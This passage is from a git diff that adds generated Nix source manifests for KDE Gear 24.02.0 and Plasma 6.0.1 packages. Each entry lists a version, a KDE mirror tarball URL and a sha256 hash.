"mirror://kde/stable/release-service/24.02.0/src/kpkpass-24.02.0.tar.xz", + "hash": "sha256-ouOv4Ezasv17JTbZsOzzQDbSdNKqNk3gN81WCfs7CN8=" + }, + "kpmcore": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kpmcore-24.02.0.tar.xz", + "hash": "sha256-TFxQqVCupwU2FvmqhtKcHS4PG9sSHBfMMefh5zpi3tE=" + }, + "kpublictransport": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kpublictransport-24.02.0.tar.xz", + "hash": "sha256-it3FzeMe1U2dGMckeq79ZpveEKjNdkA3hN0Lz/nNIvg=" + }, + "kqtquickcharts": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kqtquickcharts-24.02.0.tar.xz", + "hash": "sha256-fkgwCdCdZs6pkmBCqHO+u4Wx2Jcy2sAXRdEY2FghHM8=" + }, + "krdc": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/krdc-24.02.0.tar.xz", + "hash": "sha256-yA0xsjleWb2hXnp2Cx4dQUs2QWeREmCJKujh9gYyomE=" + }, + "krecorder": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/krecorder-24.02.0.tar.xz", + "hash": "sha256-Aelia5F4KOfdrJsCCJHLD6A519RkpiL8uYPf478CdV0=" + }, + "kreversi": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kreversi-24.02.0.tar.xz", + "hash": "sha256-w724cLuA8cZnE1NFmAj1qIN1YIIEwvcIS6KZbBjk880=" + }, + "krfb": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/krfb-24.02.0.tar.xz", + "hash": "sha256-rglGiRVq5Gz1z0QPH0QXx60HxeLhNW7yAyT00KmofDo=" + }, + "kross-interpreters": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kross-interpreters-24.02.0.tar.xz", + "hash": "sha256-Prit+XIbYbKF+g3BU9ikbyNEtufMYjP5yGHkq78IogE=" + }, + "kruler": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kruler-24.02.0.tar.xz", + "hash": "sha256-f9xZX0SwZ0O081hSWbcSfMISBXr1bpaq3tBOt6wPvNU=" + }, + "ksanecore": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ksanecore-24.02.0.tar.xz", + "hash": "sha256-kwh3N/xzTFTPIySSG2terw94ZDBsRJaUKUS5NSzbIds=" + }, + "kshisen": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kshisen-24.02.0.tar.xz", + "hash": "sha256-nmaObTESP6O/uUAL/cm6h0iHI+WIHdpuiypp9AiyjA8=" + }, + "ksirk": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ksirk-24.02.0.tar.xz", + "hash": "sha256-NBBpFUJ8TGlEywsU8VhzNd5Q690EPWdTTIX7SuWnIyg=" + }, + "ksmtp": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ksmtp-24.02.0.tar.xz", + "hash": "sha256-Cp/7MrUGfJbZAuYl1Rolb7syn5gU8NpC07UWF7RYqQg=" + }, + "ksnakeduel": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ksnakeduel-24.02.0.tar.xz", + "hash": "sha256-oJJ0kNVrROMTGEbCuBRATby/40v2DtPrMnsylhIx9tw=" + }, + "kspaceduel": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kspaceduel-24.02.0.tar.xz", + "hash": "sha256-tGLVSZcKlE2QNFe4ByV87jeA2hhXJQPkxjPARq2YyvE=" + }, + "ksquares": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ksquares-24.02.0.tar.xz", + "hash": "sha256-q5ISgFe3KKSFNgyTpAcCu54rdLlEJR8QOld/jVEfUJo=" + }, + "ksudoku": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ksudoku-24.02.0.tar.xz", + "hash": "sha256-l9acSyIMd1NfAvWDtWPut3KIrjnBes3OCKLwhQ8SwCY=" + }, + "ksystemlog": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ksystemlog-24.02.0.tar.xz", + "hash": "sha256-digHzjZOgBQtG3GuG0jXkyCSBe17F6vIOPUUqLd3WB4=" + }, + "kteatime": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kteatime-24.02.0.tar.xz", + "hash": "sha256-S/g5mERK1NPOXnxqk2HkxjQHzad2mq+H6QSLWEUzY34=" + }, + "ktimer": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ktimer-24.02.0.tar.xz", + "hash": "sha256-cJM+CATWOSUrEb2MTWXBiFSHoriTPMgX/o26uOBzvV4=" + }, + "ktnef": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ktnef-24.02.0.tar.xz", + "hash": "sha256-t+GnG81B3aO3kjrvOeFbiZiFjWgMPXegAf7HAnE++xA=" + }, + "ktorrent": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ktorrent-24.02.0.tar.xz", + "hash": "sha256-A4Rafv53jU3H7TlvKE8J1nB9UG1rOmQDnsZLrKWJMFo=" + }, + "ktouch": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ktouch-24.02.0.tar.xz", + "hash": "sha256-fWaMAVhzGN1LeknttVXpblgYblhGbHKIuxeRZscjW1s=" + }, + "ktrip": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ktrip-24.02.0.tar.xz", + "hash": "sha256-RPJv4m8r+jNCSXBRywS/NCEKp+/thhXaxFW7TznX+7s=" + }, + "ktuberling": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/ktuberling-24.02.0.tar.xz", + "hash": "sha256-73ODxkH6QxYI9O2wNwCO7cHdNQhwFqzUzBxrFuGfX6o=" + }, + "kturtle": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kturtle-24.02.0.tar.xz", + "hash": "sha256-rK1KUkW9iFcPpHJ4DleLwGXjPACtcsL6Lg/AojKHLPA=" + }, + "kubrick": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kubrick-24.02.0.tar.xz", + "hash": "sha256-nVJHXUFodsFhHtEVZtNKJYGCViHPKiCaddXscwfQgUs=" + }, + "kwalletmanager": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kwalletmanager-24.02.0.tar.xz", + "hash": "sha256-/EgwCPzay6WdobJYauZ8tJ6rF/g/+RRcnJlVqIzUOLI=" + }, + "kwave": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kwave-24.02.0.tar.xz", + "hash": "sha256-9dRFHIBWD1+UOoVJ2mKCy9gwW5y41tdItDSUfMXI3vk=" + }, + "kweather": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kweather-24.02.0.tar.xz", + "hash": "sha256-hr6rcTLj0HSLfEApAu0JJbVz15tMY6ShlB5YiYRozK8=" + }, + "kwordquiz": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/kwordquiz-24.02.0.tar.xz", + "hash": "sha256-ps3PCCOncBxuGTDX1RpxekyleUeBBU04zyeMZuDgL6Q=" + }, + "libgravatar": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libgravatar-24.02.0.tar.xz", + "hash": "sha256-0/5VBt3WgCj6IW9c0FADXmjI687MG5/SJNbtMrPntUk=" + }, + "libkcddb": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkcddb-24.02.0.tar.xz", + "hash": "sha256-/aFpBy8m0T2oU3N6iFO2wcxKux1MWxTRuNEw26FH7c8=" + }, + "libkcompactdisc": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkcompactdisc-24.02.0.tar.xz", + "hash": "sha256-yQrLDIhQ6sfdQOlcpsxb1+dOUqg5C0ImAoq2EffXn1M=" + }, + "libkdcraw": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkdcraw-24.02.0.tar.xz", + "hash": "sha256-0TckttdYckBCEJh5ZgbWP3v1Ur6hYlgpSCuvLfmaqxo=" + }, + "libkdegames": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkdegames-24.02.0.tar.xz", + "hash": "sha256-PRE0ItxlQ0iyAl3l/h3iVtBqPFW+nHsQQlPiVZWy4rE=" + }, + "libkdepim": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkdepim-24.02.0.tar.xz", + "hash": "sha256-1BJBnRdPy8X2qkaDHyyoFxjw2KeZcpNfoJfFS48u5+A=" + }, + "libkeduvocdocument": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkeduvocdocument-24.02.0.tar.xz", + "hash": "sha256-PItMxVX08jt3BEYVz4LLqRq4Z2RFtdJcE4+WIXrd4xs=" + }, + "libkexiv2": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkexiv2-24.02.0.tar.xz", + "hash": "sha256-Ko1zP2Duee/4xZmL5jKqNppwURU5A/Acp01gOAlch04=" + }, + "libkgapi": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkgapi-24.02.0.tar.xz", + "hash": "sha256-7x+XLmKerhKQEDm7/Ld9E2WzzzBdjZeA9ySD7/OrOwo=" + }, + "libkipi": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkipi-24.02.0.tar.xz", + "hash": "sha256-Ig9IWMF+fZuFMzLmSB3jUYKhE7QSr38tSf5PIJ7gOR4=" + }, + "libkleo": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkleo-24.02.0.tar.xz", + "hash": "sha256-reQo2spUR5gxSjpbV37+hBfG0hgvdOQn89fHnDyhuWw=" + }, + "libkmahjongg": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkmahjongg-24.02.0.tar.xz", + "hash": "sha256-pld2Ae17ry8cQhMK4ubRm5nqkm0U+CoEYaRrN0wZZ8U=" + }, + "libkomparediff2": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libkomparediff2-24.02.0.tar.xz", + "hash": "sha256-bNNk3ADzblPwsdZv+OWvGAXdWXNY6bK64+na9uxNVLg=" + }, + "libksane": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libksane-24.02.0.tar.xz", + "hash": "sha256-jo9ZpawoD/dRLHcStGdfd4/KO4Apb7u9+NjPZQsXGrU=" + }, + "libksieve": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libksieve-24.02.0.tar.xz", + "hash": "sha256-3vqFYnNCuqQYS7iALrGoui6KzZro3GRBHfinEqg3zK0=" + }, + "libktorrent": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/libktorrent-24.02.0.tar.xz", + "hash": "sha256-iGZX//AS4iVUMLHLKVWeT3k8L1TkfW7UhEIVQNl1uJo=" + }, + "lokalize": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/lokalize-24.02.0.tar.xz", + "hash": "sha256-WznIX/27WZ+UW5YErYgIitJUs0A3+hn777wzcaUVCt0=" + }, + "lskat": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/lskat-24.02.0.tar.xz", + "hash": "sha256-kVALtkeet6C9w9pVm204nq+v4H5S63OSbJiE4qn4x2U=" + }, + "mailcommon": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/mailcommon-24.02.0.tar.xz", + "hash": "sha256-d/kMdC5VeQp43LdbNKtNgi4cOF45KBeqceEf0cDCQ9o=" + }, + "mailimporter": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/mailimporter-24.02.0.tar.xz", + "hash": "sha256-3Z1rNH52BzidcBVfXmAyTnRfubqOnybu6skY8ImOdZU=" + }, + "marble": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/marble-24.02.0.tar.xz", + "hash": "sha256-kpkHPKYXJDUPMjbJkW6oHUvURQCexltzZmCkvwFu+Wo=" + }, + "markdownpart": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/markdownpart-24.02.0.tar.xz", + "hash": "sha256-a79yKY8hxQIgiu0/76VTAticUGpe510lZdRkU0U0S8k=" + }, + "mbox-importer": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/mbox-importer-24.02.0.tar.xz", + "hash": "sha256-LOLwaNlk9T7967HEy/+zimaXzy/jEIj6/JuyJrzIiXs=" + }, + "merkuro": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/merkuro-24.02.0.tar.xz", + "hash": "sha256-oxu1ZAfJCtTi5d+wGxee32WJ6b/G5hTYMXJjmsrUv1E=" + }, + "messagelib": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/messagelib-24.02.0.tar.xz", + "hash": "sha256-/0jfAZvD+aZVMhlpWpR+gwPRtW16oYW1Hz8klzQujz0=" + }, + "mimetreeparser": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/mimetreeparser-24.02.0.tar.xz", + "hash": "sha256-XQVGxJ6P1dY5umiuCnkCYKrl4dBoc3WH8r3FwRD/l+8=" + }, + "minuet": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/minuet-24.02.0.tar.xz", + "hash": "sha256-eFrJR+LOW2f9anvA+9j1BdMwBN4MwZn8hlhitjsJFdM=" + }, + "neochat": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/neochat-24.02.0.tar.xz", + "hash": "sha256-JOeLm8y90qQHJuO2g7XUHf370G1JA8tHT1mJ/4/gcDI=" + }, + "okular": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/okular-24.02.0.tar.xz", + "hash": "sha256-/CZVSPhZVixUzUBYf/PGocLQ95JmF5UbBuYUXR9Ck4w=" + }, + "palapeli": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/palapeli-24.02.0.tar.xz", + "hash": "sha256-0F3kZGY2QIWcyuEaylrfW17Vz1UROc9oViLZxz36tTI=" + }, + "parley": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/parley-24.02.0.tar.xz", + "hash": "sha256-/b3RBQo/2D6u7wQjj3jU/10NTmRVQkw7ZKm7mC6ZDxc=" + }, + "partitionmanager": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/partitionmanager-24.02.0.tar.xz", + "hash": "sha256-suxJFlgFvKW4BvZrTsU91KmN1GYzrtVOafBAod8VpKw=" + }, + "picmi": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/picmi-24.02.0.tar.xz", + "hash": "sha256-/SeGR/MuCTQgVuS0NQ/JjccPTBW0D1XPUu90bIs8IM8=" + }, + "pimcommon": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/pimcommon-24.02.0.tar.xz", + "hash": "sha256-Yypu3thy6A6Y/BHYv67KgoO34gn2ifJcT9toEsxpkxw=" + }, + "pim-data-exporter": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/pim-data-exporter-24.02.0.tar.xz", + "hash": "sha256-XmT0wgdRhbL9Ryq851MoF+n0zxD2UPiTR97gt7sDj78=" + }, + "pim-sieve-editor": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/pim-sieve-editor-24.02.0.tar.xz", + "hash": "sha256-hJCWNj3IIuzNsxQqceqabCsFDBEambr6UUhv7k7zyeQ=" + }, + "plasmatube": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/plasmatube-24.02.0.tar.xz", + "hash": "sha256-pTR53BqHz5hS44GVPy1aQ5v9Umaf7cn+7QqxTAn/eRk=" + }, + "poxml": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/poxml-24.02.0.tar.xz", + "hash": "sha256-psDlllkWEHOWtPzwEeMvbAIqHn25Vx/cZIZj+Sb+1To=" + }, + "qmlkonsole": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/qmlkonsole-24.02.0.tar.xz", + "hash": "sha256-dzCe7Zv0t6G/P8JrAiU/C5212uWWxDNLFoiEQiqqigY=" + }, + "rocs": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/rocs-24.02.0.tar.xz", + "hash": "sha256-Othj1cCeK/I1sNUEimsdvTwrArecH/xZ5Q0z86tgEwI=" + }, + "signon-kwallet-extension": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/signon-kwallet-extension-24.02.0.tar.xz", + "hash": "sha256-62lx+1Ef1su7Ng+xolsAMzE7clOPcJUK2NLK+qr7nW4=" + }, + "skanlite": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/skanlite-24.02.0.tar.xz", + "hash": "sha256-wV7o3vz7Bdof0d7qLJqqPMb7MkiXlPVx7Andi02TiqY=" + }, + "skanpage": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/skanpage-24.02.0.tar.xz", + "hash": "sha256-ifaShgBg6rDlPibDQPuLsu/dSZm6vx7JVy+moUT9by8=" + }, + "spectacle": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/spectacle-24.02.0.tar.xz", + "hash": "sha256-YUsQyZC1weKvU5xvYNpcq40ZdbbBeiwkWKgbldLkw9E=" + }, + "step": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/step-24.02.0.tar.xz", + "hash": "sha256-SfIQVPQjzEuDTzegc29ljm89GcJNuhXvIw2FfaH/HBM=" + }, + "svgpart": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/svgpart-24.02.0.tar.xz", + "hash": "sha256-JGjS2Cf1M8Mw2X28jrC4PPLYHHhfC7WUKNvOT/z6CGU=" + }, + "sweeper": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/sweeper-24.02.0.tar.xz", + "hash": "sha256-MtiaAsfpbSSBe4Q0DW1YvP8glecU1c3pYUbk6SWGIow=" + }, + "telly-skout": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/telly-skout-24.02.0.tar.xz", + "hash": "sha256-u0y0kue+gaWQ4TF5o5J7PFfW7sjsNBkh6tyCraDIi7M=" + }, + "tokodon": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/tokodon-24.02.0.tar.xz", + "hash": "sha256-DXSOQ/qBse39tBvCPzCeTQ6f1vJTPGY+z7DYw5AOz98=" + }, + "umbrello": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/umbrello-24.02.0.tar.xz", + "hash": "sha256-AMuUHmihDvZNfU23Fr/OwGjhZV09VSCvl5Rv8z3tE8c=" + }, + "yakuake": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/yakuake-24.02.0.tar.xz", + "hash": "sha256-jwubjyV5jQpYriB+E8isVch+IgX6bIZRua8/l8AC9qQ=" + }, + "zanshin": { + "version": "24.02.0", + "url": "mirror://kde/stable/release-service/24.02.0/src/zanshin-24.02.0.tar.xz", + "hash": "sha256-lgw1cPYmHbfbdEvVzpMe3qZH874suUY9CGm6/DDLZGU=" + } +} \ No newline at end of file diff --git a/pkgs/kde/generated/sources/plasma.json b/pkgs/kde/generated/sources/plasma.json new file mode 100644 index 0000000000000..18854156c38bb --- /dev/null +++ b/pkgs/kde/generated/sources/plasma.json @@ -0,0 +1,317 @@ +{ + "bluedevil": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/bluedevil-6.0.1.tar.xz", + "hash": "sha256-7bpz4yNYWvTgzHhtCAZXclkRP9fLH6sPYsvHOL1/53k=" + }, + "breeze": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/breeze-6.0.1.tar.xz", + "hash": "sha256-IASCzv0Gbg1I4WqnOAqcsA5jSyujSDTNxzVPNjtgVE0=" + }, + "breeze-grub": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/breeze-grub-6.0.1.tar.xz", + "hash": "sha256-iI1vzXZ+j97dqgq/Uze81TSpeu+RqKXkf6oZcmdNguM=" + }, + "breeze-gtk": { + "version": "6.0.1.1", + "url": "mirror://kde/stable/plasma/6.0.1/breeze-gtk-6.0.1.1.tar.xz", + "hash": "sha256-I8qWYBzJv/AENPf7/jkB+8uSNi0XUaMcCFIPtMESRhA=" + }, + "breeze-plymouth": { + "version": "6.0.1.1", + "url": "mirror://kde/stable/plasma/6.0.1/breeze-plymouth-6.0.1.1.tar.xz", + "hash": "sha256-Xk/enHtV4kwK4inPSrct34g1nvewvSrnFbuH4eDx94I=" + }, + "discover": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/discover-6.0.1.tar.xz", + "hash": "sha256-fVGh2NErdS2rcyHMKC/mT8L2H5OAfDUzi1BEp4ahoZo=" + }, + "drkonqi": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/drkonqi-6.0.1.tar.xz", + "hash": "sha256-X2YFQ8MKee/7SJANHrrZ+eViBRTaq96b2rwrXwGyAm0=" + }, + "flatpak-kcm": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/flatpak-kcm-6.0.1.tar.xz", + "hash": "sha256-sHI/1B0LYRm1cplSH0iy1jXeIsZ3mfK/UDxbfD+N5YM=" + }, + "kactivitymanagerd": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kactivitymanagerd-6.0.1.tar.xz", + "hash": "sha256-L5LCvqE8fGn2gjfoyHBvfNnP70CdWex8HcSd+JRvsrc=" + }, + "kde-cli-tools": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kde-cli-tools-6.0.1.tar.xz", + "hash": "sha256-RuDbooTXS1BpScAw4/gX8RwpJiwRbT6aKp5l855DzRU=" + }, + "kde-gtk-config": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kde-gtk-config-6.0.1.tar.xz", + "hash": "sha256-u1Df3OqfIavqqAs91SiZMhrRi2bjNRYfZrRHKWCJflU=" + }, + "kdecoration": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kdecoration-6.0.1.tar.xz", + "hash": "sha256-gSDaTJyMrv6nYKj5egjz7P//uK8ncqtE34EJ9hn/NZY=" + }, + "kdeplasma-addons": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kdeplasma-addons-6.0.1.tar.xz", + "hash": "sha256-ZFjmBdJY4LKkLWAUwzaALBDfGvP+FPNND9v56THNK28=" + }, + "kgamma": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kgamma-6.0.1.tar.xz", + "hash": "sha256-+2CVNijflwfXuoMVXVgo1fRNCT7YQZdMeO6adOzjyRI=" + }, + "kglobalacceld": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kglobalacceld-6.0.1.tar.xz", + "hash": "sha256-tA1DMo0CPXqxsmWj6FUNv+8rjQ0dsq2oWBEdzzwZTqc=" + }, + "kinfocenter": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kinfocenter-6.0.1.tar.xz", + "hash": "sha256-FP7LO/ME5sI3eJ2WL+o/vHJWsEAwde2b9K661Y+IluA=" + }, + "kmenuedit": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kmenuedit-6.0.1.tar.xz", + "hash": "sha256-9wZA2Q88JbE5NFM5UDwAGax0Oy8ldd+d+Ywn0URcdiQ=" + }, + "kpipewire": { + "version": "6.0.1.1", + "url": "mirror://kde/stable/plasma/6.0.1/kpipewire-6.0.1.1.tar.xz", + "hash": "sha256-GQLzlJBS/xq12nnGMJWG8+EaKcfASgRPc7P2rJglHEo=" + }, + "kscreen": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kscreen-6.0.1.tar.xz", + "hash": "sha256-WHLCDvu4mvi59SZWsFyYaE4PrOWAAdOw7g2nslgi9ho=" + }, + "kscreenlocker": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kscreenlocker-6.0.1.tar.xz", + "hash": "sha256-Kd74dcQG41cCjekXiFh/3mtTrL0Q1LgXd1S+z12VYCg=" + }, + "ksshaskpass": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/ksshaskpass-6.0.1.tar.xz", + "hash": "sha256-0kRZcKvMZXYVKLfTp7KAJAb6ykTYkowpUOR7dXMDIUY=" + }, + "ksystemstats": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/ksystemstats-6.0.1.tar.xz", + "hash": "sha256-Bxr+Zkw47Gq3spK5DmtVzC0r6yC+P4qlOxMWgok6XEk=" + }, + "kwallet-pam": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kwallet-pam-6.0.1.tar.xz", + "hash": "sha256-Gti7wB7F0cIUQSK9PYKyJn2nfQdq47+ku/HEGi1wulA=" + }, + "kwayland": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kwayland-6.0.1.tar.xz", + "hash": "sha256-0rTZqzHiVNZ1ek7GqxzngNvGwA1Mj2pdoHz5GB6MhZU=" + }, + "kwayland-integration": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kwayland-integration-6.0.1.tar.xz", + "hash": "sha256-G4S88fPSm7FKvEVUR4r9srx8x5UboSwtPIgCM4uzLHM=" + }, + "kwin": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kwin-6.0.1.tar.xz", + "hash": "sha256-bmGFfFAwt7OVPMDaXulKJDdVmZpM4AegAxH5HbiXXwQ=" + }, + "kwrited": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/kwrited-6.0.1.tar.xz", + "hash": "sha256-YGx8Iojk9T9YmUPQhhjuFcOulE+HCDwJM7u+LeAhdBI=" + }, + "layer-shell-qt": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/layer-shell-qt-6.0.1.tar.xz", + "hash": "sha256-PbMq6DC2f1Wl3ikrdXkRJKft0DOYm36T5L2RPFj9l58=" + }, + "libkscreen": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/libkscreen-6.0.1.tar.xz", + "hash": "sha256-8D3Px59OGyDSvT0WluRiKpW8TTtjYHgP3wxAj/o2KJs=" + }, + "libksysguard": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/libksysguard-6.0.1.tar.xz", + "hash": "sha256-kPDmZzBbmqucMqToAQyqzGqfsfyBpzuB0uu7SEXrLwM=" + }, + "libplasma": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/libplasma-6.0.1.tar.xz", + "hash": "sha256-df7WkHW/Eazi++KfHRUnDIc3+6qReJBQSe/YAt52tHQ=" + }, + "milou": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/milou-6.0.1.tar.xz", + "hash": "sha256-wC6xYOq3nUvsGvh3RDptPGVfS5UsUXHhmHAT2s1L5hA=" + }, + "ocean-sound-theme": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/ocean-sound-theme-6.0.1.tar.xz", + "hash": "sha256-YoctZEvuhcjofoyUcER3ttxIdyU8bqLfwGWeodN6sp0=" + }, + "oxygen": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/oxygen-6.0.1.tar.xz", + "hash": "sha256-Tdkt0bgp7pwlSRunoigb2cTsmV1ujdBM+ZDr+4lJ91Q=" + }, + "oxygen-sounds": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/oxygen-sounds-6.0.1.tar.xz", + "hash": "sha256-bMbU68dKW17oLbEg9tdX28F/m3CRJ5hACiATMjGbeo8=" + }, + "plasma-activities": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-activities-6.0.1.tar.xz", + "hash": "sha256-L9fe7g6q78KXoC5o4Ra09tqUdbtvJvc9fO0bWSK/TYY=" + }, + "plasma-activities-stats": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-activities-stats-6.0.1.tar.xz", + "hash": "sha256-d5/1WkSbl0UpWn3L/5oiq7TU8PdKgHIZZ09iT3tVpuo=" + }, + "plasma-browser-integration": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-browser-integration-6.0.1.tar.xz", + "hash": "sha256-QpBJgaCwFxKG71tTAJHrXzZgBfEfzLlslcr2GQXYFjU=" + }, + "plasma-desktop": { + "version": "6.0.1", + "url": "mirror://kde/stable/plasma/6.0.1/plasma-desktop-6.0.1.tar.xz", + "hash": "sha256-l9dA6OO1/5IXO5qQhlZ9/0D/dwyjTQzs/rNdZQgIovE=" + }, + "plasma-disks": { + "version": "6.0.1", + "url": 